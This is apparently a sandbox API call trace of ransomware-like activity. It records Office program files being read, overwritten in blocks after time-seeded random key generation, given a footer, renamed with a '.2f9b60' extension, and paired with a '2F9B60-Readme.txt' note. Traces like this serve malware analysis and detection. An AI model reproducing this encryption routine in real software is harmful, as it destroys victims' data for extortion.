[0090.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML", dwFileAttributes=0x20) returned 1 [0090.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xab0 [0090.257] GetFileSizeEx (in: hFile=0xab0, lpFileSize=0x268efdc0 | out: lpFileSize=0x268efdc0*=79660) returned 1 [0090.257] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x13728, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.257] ReadFile (in: hFile=0xab0, lpBuffer=0x268efd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x268efd88, lpOverlapped=0x0 | out: lpBuffer=0x268efd40*, lpNumberOfBytesRead=0x268efd88*=0x4, lpOverlapped=0x0) returned 1 [0090.264] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0090.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c40 [0090.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0090.264] NtQuerySystemTime (in: CurrentTime=0x268efc80 | out: CurrentTime=0x268efc80*=132462176961190000) returned 0x0 [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0xd4b298e [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x5bd8e2d0 [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x7c35da83 [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0xdaac727 [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x548bdbf8 [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x68f5c7c2 [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x69cc0382 [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x640a1238 [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x1c6ec890 [0090.264] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x6920a082 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x1eb7f411 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x7b4d9035 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x559a0fec [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0xfa7c091 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x3e001a24 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x1a3289f8 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x18357422 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x3fce8d81 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x40fe9e11 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x65fd5f8a [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x5bd069db [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0xabe3ece [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x637cecd0 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x78211a28 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0xac00d17 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x24e98423 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x5f923fe2 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x1946a318 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x867ec65 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x14253259 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x253a0313 [0090.265] RtlRandomEx (in: Seed=0x268efc70 | out: Seed=0x268efc70) returned 0x6a1bbc37 [0090.274] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.274] ReadFile (in: hFile=0xab0, lpBuffer=0x1cf0eee0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x268efce0, lpOverlapped=0x0 | out: lpBuffer=0x1cf0eee0*, lpNumberOfBytesRead=0x268efce0*=0x3c00, lpOverlapped=0x0) returned 1 [0090.282] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0090.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e890 [0090.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0090.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c70) returned 1 [0090.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf12af0 [0090.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0090.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0090.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859be0) returned 1 [0090.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e890) returned 1 [0090.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0090.283] WriteFile (in: hFile=0xab0, lpBuffer=0x1cf12af0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x268efce0, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesWritten=0x268efce0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf12af0) returned 1 [0098.411] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.411] ReadFile (in: hFile=0xab0, lpBuffer=0x1cf0eee0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x268efce0, lpOverlapped=0x0 | out: lpBuffer=0x1cf0eee0*, lpNumberOfBytesRead=0x268efce0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.397] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97ad0 [0100.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a0c0 [0100.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f100b0 [0100.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261340 [0100.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d10 [0100.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263d10) returned 1 [0100.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a0c0) returned 1 [0100.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ad0) returned 1 [0100.860] WriteFile (in: hFile=0xab0, lpBuffer=0x41f100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x268efce0, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesWritten=0x268efce0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0130.076] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0xfb2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.076] ReadFile (in: hFile=0xab0, lpBuffer=0x1cf0eee0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x268efce0, lpOverlapped=0x0 | out: lpBuffer=0x1cf0eee0*, lpNumberOfBytesRead=0x268efce0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.077] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0xfb2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0130.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0130.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260830) returned 1 [0130.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f100b0 [0130.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0130.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0130.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635c0) returned 1 [0130.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0130.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.078] WriteFile (in: hFile=0xab0, lpBuffer=0x41f100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x268efce0, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesWritten=0x268efce0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0130.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c19c0 [0130.080] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0130.080] WriteFile (in: hFile=0xab0, lpBuffer=0x420600b0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x268efd90, lpOverlapped=0x0 | out: lpBuffer=0x420600b0*, lpNumberOfBytesWritten=0x268efd90*=0x146, lpOverlapped=0x0) returned 1 [0130.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0130.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ac0 [0130.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265ac0) returned 1 [0130.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0130.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ac0 [0130.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b20) returned 1 [0130.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0130.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f270 [0130.083] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="13") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="d8") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="2b") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="b1") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="87") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="7e") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="af") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="03") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="8c") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="02") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="ac") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="34") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="0f") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="30") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="73") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="2d") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="d6") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="53") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="d6") returned 2 [0130.083] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="cc") returned 2 [0130.083] RtlInitAnsiString (in: DestinationString=0x268efe08, SourceString="13d82bb1877eaf038c02ac340f30732dd653d6cc" | out: DestinationString="13d82bb1877eaf038c02ac340f30732dd653d6cc") [0130.084] RtlAnsiStringToUnicodeString (in: DestinationString=0x268efdd8, SourceString="13d82bb1877eaf038c02ac340f30732dd653d6cc", AllocateDestinationString=1 | out: DestinationString="13d82bb1877eaf038c02ac340f30732dd653d6cc") returned 0x0 [0130.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ce7c0 [0130.085] wcscat (in: _Dest=0x202a5a00, _Source="13d82bb187" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\13d82bb187") returned="C:\\Program Files\\Microsoft Office\\Office14\\13d82bb187" [0130.085] wcscat (in: _Dest=0x202a5a00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\13d82bb187.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\13d82bb187.2f9b60" [0130.085] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\13d82bb187.2f9b60", NtPathName=0x268efdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\13d82bb187.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0130.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205cd30 [0136.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cd30) returned 1 [0136.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0136.551] NtQueryInformationFile (in: FileHandle=0xab0, IoStatusBlock=0x268efe18, FileInformation=0x268efe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x268efe18, FileInformation=0x268efe28) returned 0x0 [0136.551] NtSetInformationFile (FileHandle=0xab0, IoStatusBlock=0x268efe18, FileInformation=0x268efe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0136.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5a00) returned 1 [0136.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce7c0) returned 1 [0136.598] FlushFileBuffers (hFile=0xab0) returned 1 [0138.480] CloseHandle (hObject=0xab0) returned 1 [0138.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050b460 [0138.499] wcscpy (in: _Dest=0x2050b460, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0138.499] wcscat (in: _Dest=0x2050b460, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0138.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0138.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b460) returned 1 [0138.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d890) returned 1 Thread: id = 392 os_tid = 0xf50 [0090.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml")) returned 0x20 [0090.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML", dwFileAttributes=0x20) returned 1 [0090.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaac [0090.242] GetFileSizeEx (in: hFile=0xaac, lpFileSize=0x26bdfb40 | out: lpFileSize=0x26bdfb40*=79220) returned 1 [0090.242] SetFilePointerEx (in: hFile=0xaac, liDistanceToMove=0x13570, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.242] ReadFile (in: hFile=0xaac, lpBuffer=0x26bdfac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26bdfb08, lpOverlapped=0x0 | out: lpBuffer=0x26bdfac0*, lpNumberOfBytesRead=0x26bdfb08*=0x4, lpOverlapped=0x0) returned 1 [0090.247] SetFilePointerEx (in: hFile=0xaac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0090.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d00 [0090.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0090.247] NtQuerySystemTime (in: CurrentTime=0x26bdfa00 | out: CurrentTime=0x26bdfa00*=132462176961034000) returned 0x0 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x1ee78454 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x6bf843a0 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x504fbba7 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x407c7162 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x2f2c0141 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x3ca2749f [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x37a0ca9 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x48b40301 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x664f4770 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x215df88f [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x41219cd8 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x120270f3 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x29ae8360 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x1343e35f [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x69765202 [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x1187808e [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0xd0c22b [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x518140ff [0090.247] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x75c118eb [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x65a115e [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x144356e9 [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x4de3c36a [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x4b9e3ef4 [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x4771c0fc [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x23fe2933 [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x26359b8d [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x7b896aae [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x35a1308 [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x1e746be2 [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x4f73d199 [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x5fc4245 [0090.248] RtlRandomEx (in: Seed=0x26bdf9f0 | out: Seed=0x26bdf9f0) returned 0x16c2b4e8 [0090.256] SetFilePointerEx (in: hFile=0xaac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.256] ReadFile (in: hFile=0xaac, lpBuffer=0x1cf03ab0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26bdfa60, lpOverlapped=0x0 | out: lpBuffer=0x1cf03ab0*, lpNumberOfBytesRead=0x26bdfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0090.261] SetFilePointerEx (in: hFile=0xaac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0090.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e890 [0090.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0090.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859dc0) returned 1 [0090.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf0b2d0 [0090.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0090.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0090.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c70) returned 1 [0090.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e890) returned 1 [0090.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0090.261] WriteFile (in: hFile=0xaac, lpBuffer=0x1cf0b2d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26bdfa60, lpOverlapped=0x0 | out: lpBuffer=0x1cf0b2d0*, lpNumberOfBytesWritten=0x26bdfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0098.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf0b2d0) returned 1 [0098.395] SetFilePointerEx (in: hFile=0xaac, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.396] ReadFile (in: hFile=0xaac, lpBuffer=0x1cf03ab0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26bdfa60, lpOverlapped=0x0 | out: lpBuffer=0x1cf03ab0*, lpNumberOfBytesRead=0x26bdfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0101.317] SetFilePointerEx (in: hFile=0xaac, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be00 [0101.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e310 [0101.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b800 [0101.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b800) returned 1 [0101.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201c0d80 [0101.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b800 [0101.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b830 [0101.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b830) returned 1 [0101.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e310) returned 1 [0101.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 [0101.319] WriteFile (in: hFile=0xaac, lpBuffer=0x201c0d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26bdfa60, lpOverlapped=0x0 | out: lpBuffer=0x201c0d80*, lpNumberOfBytesWritten=0x26bdfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0147.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c0d80) returned 1 [0147.858] SetFilePointerEx (in: hFile=0xaac, liDistanceToMove=0xf974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.858] ReadFile (in: hFile=0xaac, lpBuffer=0x1cf03ab0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26bdfa60, lpOverlapped=0x0 | out: 